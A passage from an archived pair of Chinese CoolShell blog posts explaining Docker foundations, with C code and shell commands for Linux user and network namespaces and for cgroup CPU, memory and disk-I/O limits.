STACK_SIZE (1024 * 1024)\n\nstatic char container_stack[STACK_SIZE];\nchar* const container_args[] = {\n    \"/bin/bash\",\n    NULL\n};\n\nint pipefd[2];\n\nvoid set_map(char* file, int inside_id, int outside_id, int len) {\n    FILE* mapfd = fopen(file, \"w\");\n    if (NULL == mapfd) {\n        perror(\"open file error\");\n        return;\n    }\n    fprintf(mapfd, \"%d %d %d\", inside_id, outside_id, len);\n    fclose(mapfd);\n}\n\nvoid set_uid_map(pid_t pid, int inside_id, int outside_id, int len) {\n    char file[256];\n    sprintf(file, \"/proc/%d/uid_map\", pid);\n    set_map(file, inside_id, outside_id, len);\n}\n\nvoid set_gid_map(pid_t pid, int inside_id, int outside_id, int len) {\n    char file[256];\n    sprintf(file, \"/proc/%d/gid_map\", pid);\n    set_map(file, inside_id, outside_id, len);\n}\n\nint container_main(void* arg)\n{\n\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n\n    printf(\"Container: eUID = %ld;  eGID = %ld, UID=%ld, GID=%ld\\n\",\n            (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid());\n\n    /* 等待父进程通知后再往下执行（进程间的同步） */\n    char ch;\n    close(pipefd[1]);\n    read(pipefd[0], &amp;ch, 1);\n\n    printf(\"Container [%5d] - setup hostname!\\n\", getpid());\n    //set hostname\n    sethostname(\"container\",10);\n\n    //remount \"/proc\" to make sure the \"top\" and \"ps\" show container's information\n    mount(\"proc\", \"/proc\", \"proc\", 0, NULL);\n\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    const int gid=getgid(), uid=getuid();\n\n    printf(\"Parent: eUID = %ld;  eGID = %ld, UID=%ld, GID=%ld\\n\",\n            (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid());\n\n    pipe(pipefd);\n \n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWUSER | SIGCHLD, NULL);\n\n    \n    printf(\"Parent [%5d] - Container [%5d]!\\n\", getpid(), container_pid);\n\n    //To map the uid/gid, \n    //   we need edit the /proc/PID/uid_map (or /proc/PID/gid_map) in parent\n    //The file format is\n    //   ID-inside-ns   ID-outside-ns   length\n    //if no mapping, \n    //   the uid will be taken from /proc/sys/kernel/overflowuid\n    //   the gid will be taken from /proc/sys/kernel/overflowgid\n    set_uid_map(container_pid, 0, uid, 1);\n    set_gid_map(container_pid, 0, gid, 1);\n\n    printf(\"Parent [%5d] - user/group mapping done!\\n\", getpid());\n\n    /* 通知子进程 */\n    close(pipefd[1]);\n\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<p>上面的程序，我们用了一个pipe来对父子进程进行同步，为什么要这样做？因为子进程中有一个execv的系统调用，这个系统调用会把当前子进程的进程空间给全部覆盖掉，我们希望在execv之前就做好user namespace的uid/gid的映射，这样，execv运行的/bin/bash就会因为我们设置了uid为0的inside-uid而变成#号的提示符。</p>\n<p>整个程序的运行效果如下：</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ id\nuid=1000(hchen) gid=1000(hchen) groups=1000(hchen)\n\nhchen@ubuntu:~$ ./user #&lt;--以hchen用户运行\nParent: eUID = 1000;  eGID = 1000, UID=1000, GID=1000 \nParent [ 3262] - start a container!\nParent [ 3262] - Container [ 3263]!\nParent [ 3262] - user/group mapping done!\nContainer [    1] - inside the container!\nContainer: eUID = 0;  eGID = 0, UID=0, GID=0 #&lt;---Container里的UID/GID都为0了\nContainer [    1] - setup hostname!\n\nroot@container:~# id #&lt;----我们可以看到容器里的用户和命令行提示符是root用户了\nuid=0(root) gid=0(root) groups=0(root),65534(nogroup)</pre>\n<p>虽然容器里是root，但其实这个容器的/bin/bash进程是以一个普通用户hchen来运行的。这样一来，我们容器的安全性会得到提高。</p>\n<p>我们注意到，User Namespace是以普通用户运行，但是别的Namespace需要root权限，那么，如果我要同时使用多个Namespace，该怎么办呢？一般来说，我们先用一般用户创建User Namespace，然后把这个一般用户映射成root，在容器内用root来创建其它的Namesapce。</p>\n<h4>Network Namespace</h4>\n<p>Network的Namespace比较啰嗦。在Linux下，我们一般用ip命令创建Network Namespace（Docker的源码中，它没有用ip命令，而是自己实现了ip命令内的一些功能——是用了Raw Socket发些“奇怪”的数据，呵呵）。这里，我还是用ip命令讲解一下。</p>\n<p>首先，我们先看个图，下面这个图基本上就是Docker在宿主机上的网络示意图（其中的物理网卡并不准确，因为docker可能会运行在一个VM中，所以，这里所谓的“物理网卡”其实也就是一个有可以路由的IP的网卡）</p>\n<p><img alt=\"network.namespace\" class=\"aligncenter size-full wp-image-17040\" height=\"300\" src=\"../wp-content/uploads/2015/04/network.namespace.jpg\" width=\"407\"/></p>\n<p>上图中，Docker使用了一个私有网段，172.40.1.0，docker还可能会使用10.0.0.0和192.168.0.0这两个私有网段，关键看你的路由表中是否配置了，如果没有配置，就会使用，如果你的路由表配置了所有私有网段，那么docker启动时就会出错了。</p>\n<p>当你启动一个Docker容器后，你可以使用ip link show或ip addr show来查看当前宿主机的网络情况（我们可以看到有一个docker0，还有一个veth22a38e6的虚拟网卡——给容器用的）：</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ ip link show\n1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state ... \n    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc ...\n    link/ether 00:0c:29:b7:67:7d brd ff:ff:ff:ff:ff:ff\n3: docker0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 ...\n    link/ether 56:84:7a:fe:97:99 brd ff:ff:ff:ff:ff:ff\n5: veth22a38e6: &lt;BROADCAST,UP,LOWER_UP&gt; mtu 1500 qdisc ...\n    link/ether 8e:30:2a:ac:8c:d1 brd ff:ff:ff:ff:ff:ff</pre>\n<p>那么，要做成这个样子应该怎么办呢？我们来看一组命令：</p>\n<pre class=\"EnlighterJSRAW\">## 首先，我们先增加一个网桥lxcbr0，模仿docker0\nbrctl addbr lxcbr0\nbrctl stp lxcbr0 off\nifconfig lxcbr0 192.168.10.1/24 up #为网桥设置IP地址\n\n## 接下来，我们要创建一个network namespace - ns1\n\n# 增加一个namesapce 命令为 ns1 （使用ip netns add命令）\nip netns add ns1 \n\n# 激活namespace中的loopback，即127.0.0.1（使用ip netns exec ns1来操作ns1中的命令）\nip netns exec ns1   ip link set dev lo up \n\n## 然后，我们需要增加一对虚拟网卡\n\n# 增加一个pair虚拟网卡，注意其中的veth类型，其中一个网卡要按进容器中\nip link add veth-ns1 type veth peer name lxcbr0.1\n\n# 把 veth-ns1 按到namespace ns1中，这样容器中就会有一个新的网卡了\nip link set veth-ns1 netns ns1\n\n# 把容器里的 veth-ns1改名为 eth0 （容器外会冲突，容器内就不会了）\nip netns exec ns1  ip link set dev veth-ns1 name eth0 \n\n# 为容器中的网卡分配一个IP地址，并激活它\nip netns exec ns1 ifconfig eth0 192.168.10.11/24 up\n\n\n# 上面我们把veth-ns1这个网卡按到了容器中，然后我们要把lxcbr0.1添加上网桥上\nbrctl addif lxcbr0 lxcbr0.1\n\n# 为容器增加一个路由规则，让容器可以访问外面的网络\nip netns exec ns1     ip route add default via 192.168.10.1\n\n# 在/etc/netns下创建network namespce名称为ns1的目录，\n# 然后为这个namespace设置resolv.conf，这样，容器内就可以访问域名了\nmkdir -p /etc/netns/ns1\necho \"nameserver 8.8.8.8\" &gt; /etc/netns/ns1/resolv.conf</pre>\n<p>上面基本上就是docker网络的原理了，只不过，</p>\n<ul>\n<li>Docker的resolv.conf没有用这样的方式，而是用了<a href=\"https://coolshell.cn/articles/17010.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Docker基础技术：Linux Namespace（上）\">上篇中的Mount Namesapce的那种方式</a></li>\n<li>另外，docker是用进程的PID来做Network Namespace的名称的。</li>\n</ul>\n<p>了解了这些后，你甚至可以为正在运行的docker容器增加一个新的网卡：</p>\n<pre class=\"EnlighterJSRAW\">ip link add peerA type veth peer name peerB \nbrctl addif docker0 peerA \nip link set peerA up \nip link set peerB netns ${container-pid} \nip netns exec ${container-pid} ip link set dev peerB name eth1 \nip netns exec ${container-pid} ip link set eth1 up ; \nip netns exec ${container-pid} ip addr add ${ROUTEABLE_IP} dev eth1 ;</pre>\n<p>上面的示例是我们为正在运行的docker容器，增加一个eth1的网卡，并给了一个静态的可被外部访问到的IP地址。</p>\n<p>这个需要把外部的“物理网卡”配置成混杂模式，这样这个eth1网卡就会向外通过ARP协议发送自己的Mac地址，然后外部的交换机就会把到这个IP地址的包转到“物理网卡”上，因为是混杂模式，所以eth1就能收到相关的数据，一看，是自己的，那么就收到。这样，Docker容器的网络就和外部通了。</p>\n<p>当然，无论是Docker的NAT方式，还是混杂模式都会有性能上的问题，NAT不用说了，存在一个转发的开销，混杂模式呢，网卡上收到的负载都会完全交给所有的虚拟网卡上，于是就算一个网卡上没有数据，但也会被其它网卡上的数据所影响。</p>\n<p>这两种方式都不够完美，我们知道，真正解决这种网络问题需要使用VLAN技术，于是Google的同学们为Linux内核实现了一个<a href=\"https://lwn.net/Articles/620087/\" rel=\"noopener noreferrer\" target=\"_blank\">IPVLAN的驱动</a>，这基本上就是为Docker量身定制的。</p>\n<h4>Namespace文件</h4>\n<p>上面就是目前Linux Namespace的玩法。 现在，我来看一下其它的相关东西。</p>\n<p>让我们运行一下上篇中的那个pid.mnt的程序（也就是PID Namespace中那个mount proc的程序），然后不要退出。</p>\n<pre class=\"EnlighterJSRAW\">$ sudo ./pid.mnt \n[sudo] password for hchen: \nParent [ 4599] - start a container!\nContainer [    1] - inside the container!</pre>\n<p>我们到另一个shell中查看一下父子进程的PID：</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ pstree -p 4599\npid.mnt(4599)───bash(4600)</pre>\n<p>我们可以到proc下（/proc//ns）查看进程的各个namespace的id（内核版本需要3.8以上）。</p>\n<p>下面是父进程的：</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ sudo ls -l /proc/4599/ns\ntotal 0\nlrwxrwxrwx 1 root root 0  4月  7 22:01 ipc -&gt; ipc:[4026531839]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 mnt -&gt; mnt:[4026531840]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 net -&gt; net:[4026531956]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 pid -&gt; pid:[4026531836]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 user -&gt; user:[4026531837]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 uts -&gt; uts:[4026531838]</pre>\n<p>下面是子进程的：</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ sudo ls -l /proc/4600/ns\ntotal 0\nlrwxrwxrwx 1 root root 0  4月  7 22:01 ipc -&gt; ipc:[4026531839]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 mnt -&gt; mnt:[4026532520]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 net -&gt; net:[4026531956]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 pid -&gt; pid:[4026532522]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 user -&gt; user:[4026531837]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 uts -&gt; uts:[4026532521]</pre>\n<p>我们可以看到，其中的ipc，net，user是同一个ID，而mnt,pid,uts都是不一样的。如果两个进程指向的namespace编号相同，就说明他们在同一个namespace下，否则则在不同namespace里面。</p>\n<p>这些文件还有另一个作用，那就是，一旦这些文件被打开，只要其fd被占用着，那么就算PID所属的所有进程都已经结束，创建的namespace也会一直存在。比如：我们可以通过：mount –bind /proc/4600/ns/uts ~/uts 来hold这个namespace。</p>\n<p>另外，我们在上篇中讲过一个setns的系统调用，其函数声明如下：</p>\n<pre class=\"EnlighterJSRAW\">int setns(int fd, int nstype);</pre>\n<p>其中第一个参数就是一个fd，也就是一个open()系统调用打开了上述文件后返回的fd，比如：</p>\n<pre class=\"EnlighterJSRAW\">fd = open(\"/proc/4600/ns/nts\", O_RDONLY);  // 获取namespace文件描述符\nsetns(fd, 0); // 加入新的namespace</pre>\n<h4>参考文档</h4>\n<ul>\n<li>\n<ul>\n<li><a href=\"http://lwn.net/Articles/531114/\" rel=\"noopener noreferrer\" target=\"_blank\">Namespaces in operation</a></li>\n<li><a href=\"http://man7.org/linux/man-pages/man7/namespaces.7.html\" rel=\"noopener noreferrer\" target=\"_blank\">Linux Namespace Man Page</a></li>\n<li><a href=\"http://crosbymichael.com/creating-containers-part-1.html\" rel=\"noopener noreferrer\" target=\"_blank\">Creat Containers – Part 1</a></li>\n<li><a href=\"https://blog.jtlebi.fr/2013/12/22/introduction-to-linux-namespaces-part-1-uts/\" rel=\"noopener noreferrer\" target=\"_blank\">Introduction to Linux namespaces</a></li>\n</ul>\n</li>\n</ul>\n<p>（应网友card323加入）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17010.html\"><img alt=\"Docker基础技术：Linux Namespace（上）\" height=\"150\" src=\"../wp-content/uploads/2015/04/isolation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17200.html\"><img alt=\"Docker基础技术：DeviceMapper\" height=\"150\" src=\"../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17200.html\">Docker基础技术：DeviceMapper</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17049.html\"><img alt=\"Docker基础技术：Linux CGroup\" height=\"150\" src=\"../wp-content/uploads/2015/04/filter-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2015-4-17 Docker基础技术：Linux CGroup.html",
    "content": "<html><body><p><img alt=\"filter\" class=\"alignright size-full wp-image-17097\" height=\"225\" src=\"../wp-content/uploads/2015/04/filter.png\" width=\"224\"/>前面，我们介绍了<a href=\"https://coolshell.cn/articles/17010.html\" target=\"_blank\" title=\"Docker基础技术：Linux Namespace\">Linux Namespace</a>，但是Namespace解决的问题主要是环境隔离的问题，这只是虚拟化中最最基础的一步，我们还需要解决对计算机资源使用上的隔离。也就是说，虽然你通过Namespace把我Jail到一个特定的环境中去了，但是我在其中的进程使用用CPU、内存、磁盘等这些计算资源其实还是可以随心所欲的。所以，我们希望对进程进行资源利用上的限制或控制。这就是Linux CGroup出来了的原因。</p>\n<p>Linux CGroup全称Linux Control Group， 是Linux内核的一个功能，用来限制，控制与分离一个进程组群的资源（如CPU、内存、磁盘输入输出等）。这个项目最早是由Google的工程师在2006年发起（主要是Paul Menage和Rohit Seth），最早的名称为进程容器（process containers）。在2007年时，因为在Linux内核中，容器（container）这个名词太过广泛，为避免混乱，被重命名为cgroup，并且被合并到2.6.24版的内核中去。然后，其它开始了他的发展。</p>\n<p>Linux CGroupCgroup 可​​​让​​​您​​​为​​​系​​​统​​​中​​​所​​​运​​​行​​​任​​​务​​​（进​​​程​​​）的​​​用​​​户​​​定​​​义​​​组​​​群​​​分​​​配​​​资​​​源​​​ — 比​​​如​​​ CPU 时​​​间​​​、​​​系​​​统​​​内​​​存​​​、​​​网​​​络​​​带​​​宽​​​或​​​者​​​这​​​些​​​资​​​源​​​的​​​组​​​合​​​。​​​您​​​可​​​以​​​监​​​控​​​您​​​配​​​置​​​的​​​ cgroup，拒​​​绝​​​ cgroup 访​​​问​​​某​​​些​​​资​​​源​​​，甚​​​至​​​在​​​运​​​行​​​的​​​系​​​统​​​中​​​动​​​态​​​配​​​置​​​您​​​的​​​ cgroup。</p>\n<p>主要提供了如下功能：</p>\n<p><span id=\"more-17049\"></span></p>\n<ul>\n<li><strong>Resource limitation</strong>: 限制资源使用，比如内存使用上限以及文件系统的缓存限制。</li>\n<li><strong>Prioritization</strong>: 优先级控制，比如：CPU利用和磁盘IO吞吐。</li>\n<li><strong>Accounting</strong>: 一些审计或一些统计，主要目的是为了计费。</li>\n<li><strong>Control</strong>: 挂起进程，恢复执行进程。</li>\n</ul>\n<p>使​​​用​​​ cgroup，系​​​统​​​管​​​理​​​员​​​可​​​更​​​具​​​体​​​地​​​控​​​制​​​对​​​系​​​统​​​资​​​源​​​的​​​分​​​配​​​、​​​优​​​先​​​顺​​​序​​​、​​​拒​​​绝​​​、​​​管​​​理​​​和​​​监​​​控​​​。​​​可​​​更​​​好​​​地​​​根​​​据​​​任​​​务​​​和​​​用​​​户​​​分​​​配​​​硬​​​件​​​资​​​源​​​，提​​​高​​​总​​​体​​​效​​​率​​​。</p>\n<p>在实践中，系统管理员一般会利用CGroup做下面这些事（有点像为某个虚拟机分配资源似的）：</p>\n<ul>\n<li>隔离一个进程集合（比如：nginx的所有进程），并限制他们所消费的资源，比如绑定CPU的核。</li>\n<li>为这组进程 分配其足够使用的内存</li>\n<li>为这组进程分配相应的网络带宽和磁盘存储限制</li>\n<li>限制访问某些设备（通过设置设备的白名单）</li>\n</ul>\n<p>那么CGroup是怎么干的呢？我们先来点感性认识吧。</p>\n<p>首先，Linux把CGroup这个事实现成了一个file system，你可以mount。在我的Ubuntu 14.04下，你输入以下命令你就可以看到cgroup已为你mount好了。</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ mount -t cgroup\ncgroup on /sys/fs/cgroup/cpuset type cgroup (rw,relatime,cpuset)\ncgroup on /sys/fs/cgroup/cpu type cgroup (rw,relatime,cpu)\ncgroup on /sys/fs/cgroup/cpuacct type cgroup (rw,relatime,cpuacct)\ncgroup on /sys/fs/cgroup/memory type cgroup (rw,relatime,memory)\ncgroup on /sys/fs/cgroup/devices type cgroup (rw,relatime,devices)\ncgroup on /sys/fs/cgroup/freezer type cgroup (rw,relatime,freezer)\ncgroup on /sys/fs/cgroup/blkio type cgroup (rw,relatime,blkio)\ncgroup on /sys/fs/cgroup/net_prio type cgroup (rw,net_prio)\ncgroup on /sys/fs/cgroup/net_cls type cgroup (rw,net_cls)\ncgroup on /sys/fs/cgroup/perf_event type cgroup (rw,relatime,perf_event)\ncgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,relatime,hugetlb)</pre>\n<p>或者使用lssubsys命令：</p>\n<pre class=\"EnlighterJSRAW\">$ lssubsys  -m\ncpuset /sys/fs/cgroup/cpuset\ncpu /sys/fs/cgroup/cpu\ncpuacct /sys/fs/cgroup/cpuacct\nmemory /sys/fs/cgroup/memory\ndevices /sys/fs/cgroup/devices\nfreezer /sys/fs/cgroup/freezer\nblkio /sys/fs/cgroup/blkio\nnet_cls /sys/fs/cgroup/net_cls\nnet_prio /sys/fs/cgroup/net_prio\nperf_event /sys/fs/cgroup/perf_event\nhugetlb /sys/fs/cgroup/hugetlb</pre>\n<p>我们可以看到，在/sys/fs下有一个cgroup的目录，这个目录下还有很多子目录，比如： cpu，cpuset，memory，blkio……这些，这些都是cgroup的子系统。分别用于干不同的事的。</p>\n<p>如果你没有看到上述的目录，你可以自己mount，下面给了一个示例：</p>\n<pre class=\"EnlighterJSRAW\">mkdir cgroup\nmount -t tmpfs cgroup_root ./cgroup\nmkdir cgroup/cpuset\nmount -t cgroup -ocpuset cpuset ./cgroup/cpuset/\nmkdir cgroup/cpu\nmount -t cgroup -ocpu cpu ./cgroup/cpu/\nmkdir cgroup/memory\nmount -t cgroup -omemory memory ./cgroup/memory/</pre>\n<p>一旦mount成功，你就会看到这些目录下就有好文件了，比如，如下所示的cpu和cpuset的子系统：</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~$ ls /sys/fs/cgroup/cpu /sys/fs/cgroup/cpuset/ \n/sys/fs/cgroup/cpu:\ncgroup.clone_children  cgroup.sane_behavior  cpu.shares         release_agent\ncgroup.event_control   cpu.cfs_period_us     cpu.stat           tasks\ncgroup.procs           cpu.cfs_quota_us      notify_on_release  user\n\n/sys/fs/cgroup/cpuset/:\ncgroup.clone_children  cpuset.mem_hardwall             cpuset.sched_load_balance\ncgroup.event_control   cpuset.memory_migrate           cpuset.sched_relax_domain_level\ncgroup.procs           cpuset.memory_pressure          notify_on_release\ncgroup.sane_behavior   cpuset.memory_pressure_enabled  release_agent\ncpuset.cpu_exclusive   cpuset.memory_spread_page       tasks\ncpuset.cpus            cpuset.memory_spread_slab       user\ncpuset.mem_exclusive   cpuset.mems</pre>\n<p>你可以到/sys/fs/cgroup的各个子目录下去make个dir，你会发现，一旦你创建了一个子目录，这个子目录里又有很多文件了。</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:/sys/fs/cgroup/cpu$ sudo mkdir haoel\n[sudo] password for hchen: \nhchen@ubuntu:/sys/fs/cgroup/cpu$ ls ./haoel\ncgroup.clone_children  cgroup.procs       cpu.cfs_quota_us  cpu.stat           tasks\ncgroup.event_control   cpu.cfs_period_us  cpu.shares        notify_on_release</pre>\n<p>好了，我们来看几个示例。</p>\n<h4>CPU 限制</h4>\n<p>假设，我们有一个非常吃CPU的程序，叫deadloop，其源码如下：</p>\n<pre class=\"EnlighterJSRAW\">int main(void)\n{\n    int i = 0;\n    for(;;) i++;\n    return 0;\n}</pre>\n<p>用sudo执行起来后，毫无疑问，CPU被干到了100%（下面是top命令的输出）</p>\n<pre class=\"EnlighterJSRAW\">  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND     \n 3529 root      20   0    4196    736    656 R 99.6  0.1   0:23.13 deadloop   </pre>\n<p>然后，我们这前不是在/sys/fs/cgroup/cpu下创建了一个haoel的group。我们先设置一下这个group的cpu利用的限制：</p>\n<pre class=\"EnlighterJSRAW\">hchen@ubuntu:~# cat /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us \n-1\nroot@ubuntu:~# echo 20000 &gt; /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us</pre>\n<p>我们看到，这个进程的PID是3529，我们把这个进程加到这个cgroup中：</p>\n<p><code class=\"EnlighterJSRAW\"># echo 3529 &gt;&gt; /sys/fs/cgroup/cpu/haoel/tasks</code></p>\n<p>然后，就会在top中看到CPU的利用立马下降成20%了。（前面我们设置的20000就是20%的意思）</p>\n<pre class=\"EnlighterJSRAW\">  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND     \n 3529 root      20   0    4196    736    656 R 19.9  0.1   8:06.11 deadloop    </pre>\n<p>下面的代码是一个线程的示例：</p>\n<pre class=\"EnlighterJSRAW\">#define _GNU_SOURCE         /* See feature_test_macros(7) */\n\n#include &lt;pthread.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;sys/stat.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys/syscall.h&gt;\n\n\nconst int NUM_THREADS = 5;\n\nvoid *thread_main(void *threadid)\n{\n    /* 把自己加入cgroup中（syscall(SYS_gettid)为得到线程的系统tid） */\n    char cmd[128];\n    sprintf(cmd, \"echo %ld &gt;&gt; /sys/fs/cgroup/cpu/haoel/tasks\", syscall(SYS_gettid));\n    system(cmd); \n    sprintf(cmd, \"echo %ld &gt;&gt; /sys/fs/cgroup/cpuset/haoel/tasks\", syscall(SYS_gettid));\n    system(cmd);\n\n    long tid;\n    tid = (long)threadid;\n    printf(\"Hello World! It's me, thread #%ld, pid #%ld!\\n\", tid, syscall(SYS_gettid));\n    \n    int a=0; \n    while(1) {\n        a++;\n    }\n    pthread_exit(NULL);\n}\nint main (int argc, char *argv[])\n{\n    int num_threads;\n    if (argc &gt; 1){\n        num_threads = atoi(argv[1]);\n    }\n    if (num_threads&lt;=0 || num_threads&gt;=100){\n        num_threads = NUM_THREADS;\n    }\n\n    /* 设置CPU利用率为50% */\n    mkdir(\"/sys/fs/cgroup/cpu/haoel\", 755);\n    system(\"echo 50000 &gt; /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us\");\n\n    mkdir(\"/sys/fs/cgroup/cpuset/haoel\", 755);\n    /* 限制CPU只能使用#2核和#3核 */\n    system(\"echo \\\"2,3\\\" &gt; /sys/fs/cgroup/cpuset/haoel/cpuset.cpus\");\n\n    pthread_t* threads = (pthread_t*) malloc (sizeof(pthread_t)*num_threads);\n    int rc;\n    long t;\n    for(t=0; t&lt;num_threads; t++){\n        printf(\"In main: creating thread %ld\\n\", t);\n        rc = pthread_create(&amp;threads[t], NULL, thread_main, (void *)t);\n        if (rc){\n            printf(\"ERROR; return code from pthread_create() is %d\\n\", rc);\n            exit(-1);\n        }\n    }\n\n    /* Last thing that main() should do */\n    pthread_exit(NULL);\n    free(threads);\n}\n</pre>\n<h4>内存使用限制</h4>\n<p>我们再来看一个限制内存的例子（下面的代码是个死循环，其它不断的分配内存，每次512个字节，每次休息一秒）：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n\nint main(void)\n{\n    int size = 0;\n    int chunk_size = 512;\n    void *p = NULL;\n\n    while(1) {\n\n        if ((p = malloc(p, chunk_size)) == NULL) {\n            printf(\"out of memory!!\\n\");\n            break;\n        }\n        memset(p, 1, chunk_size);\n        size += chunk_size;\n        printf(\"[%d] - memory is allocated [%8d] bytes \\n\", getpid(), size);\n        sleep(1);\n    }\n    return 0;\n}</pre>\n<p>然后，在我们另外一边：</p>\n<pre class=\"EnlighterJSRAW\"># 创建memory cgroup\n$ mkdir /sys/fs/cgroup/memory/haoel\n$ echo 64k &gt; /sys/fs/cgroup/memory/haoel/memory.limit_in_bytes\n\n# 把上面的进程的pid加入这个cgroup\n$ echo [pid] &gt; /sys/fs/cgroup/memory/haoel/tasks </pre>\n<p>你会看到，一会上面的进程就会因为内存问题被kill掉了。</p>\n<h4>磁盘I/O限制</h4>\n<p>我们先看一下我们的硬盘IO，我们的模拟命令如下：（从/dev/sda1上读入数据，输出到/dev/null上）</p>\n<p><code class=\"EnlighterJSRAW\">sudo dd if=/dev/sda1 of=/dev/null</code></p>\n<p>我们通过iotop命令我们可以看到相关的IO速度是55MB/s（虚拟机内）：</p>\n<pre class=\"EnlighterJSRAW\">  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO&gt;    COMMAND          \n 8128 be/4 root       55.74 M/s    0.00 B/s  0.00 % 85.65 % dd if=/de~=/dev/null...</pre>\n<p>然后，我们先创建一个blkio（块设备IO）的cgroup</p>\n<p><code class=\"EnlighterJSRAW\">mkdir /sys/fs/cgroup/blkio/haoel</code></p>\n<p>并把读IO限制到1MB/s，并把前面那个dd命令的pid放进去（注：8:0 是设备号，你可以通过ls -l /dev/sda1获得）：</p>\n<pre class=\"EnlighterJSRAW\">root@ubuntu:~# echo '8:0 1048576'  &gt; /sys/fs/cgroup/blkio/haoel/blkio.throttle.read_bps_device \nroot@ubuntu:~# echo 8128 &gt; /sys/fs/cgroup/blkio/haoel/tasks</pre>\n<p>再用iotop命令，你马上就能看到读速度被限制到了1MB/s左右。</p>\n<pre class=\"EnlighterJSRAW\"> 